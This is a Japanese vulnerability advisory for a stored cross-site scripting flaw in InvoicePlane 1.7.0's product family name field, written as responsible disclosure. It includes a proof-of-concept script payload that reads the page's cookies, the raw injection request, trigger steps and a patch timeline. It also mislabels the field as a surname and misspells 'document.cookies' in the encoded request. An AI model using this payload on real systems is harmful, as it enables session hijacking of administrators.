脆弱性: 姓フィールドを介した格納型クロスサイトスクリプティング(XSS)
製品: InvoicePlane
影響を受けるバージョン: 1.7.0(およびそれ以前のバージョンの可能性あり)
深刻度: 中
CVSS 3.1 スコア: 4.8(CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: ウェブページ生成時の入力の不適切な無害化
発見者: Leonidas Agathos
報告日: 2026-01-31
製品ファミリーフォーム(/index.php/families/form)の family_name フィールドは、サニタイズなしで任意の入力を受け入れます。この値はデータベースに保存され、後で製品作成・編集ページのファミリードロップダウンでエンコードされずにレンダリングされるため、製品フォームにアクセスする管理者のブラウザでJavaScriptが実行されます。
脆弱なファイル: application/modules/products/views/form.php:40
// Line 40
><?php echo $family->family_name; ?></option>
ステップ1 — 姓フィールドにペイロードを注入
/index.php/families/form に移動し、姓として以下を送信します:
<script>alert('domain:'+document.domain+'cookies:'+document.cookie)</script>
リクエスト:
POST /index.php/families/form HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=0&family_name=%3Cscript%3Ealert%28document.cookies%29%3C%2Fscript%3E

ステップ2 — XSSをトリガー
/index.php/products/form に移動します。ファミリードロップダウンがレンダリングされるとペイロードが実行されます。

製品作成・編集ページにアクセスする管理者は、ブラウザでペイロードが実行されます。これにより、セッションハイジャック(クッキーがHttpOnlyでない場合)、CSRFトークンの窃取、被害者の身份で実行される操作が可能になります。
| 日付 | イベント |
|---|---|
| 2026-01-30 | 脆弱性を発見 |
| 2026-01-31 | 概念実証を作成 |
| 2026-01-31 | ベンダーに通知 |
| 2026-02-04 | ベンダーが確認 |
| 2026-02-04 | パッチをリリース |
| 2026-02-05 | 公開開示 |
この脆弱性は、独立したセキュリティ研究の過程で発見されました。すべての情報は、ベンダーおよびセキュリティコミュニティがこの問題を理解し、修正するのを支援するための教育、研究、防御目的でのみ提供されています。この情報の悪意のある使用は固く禁じられています。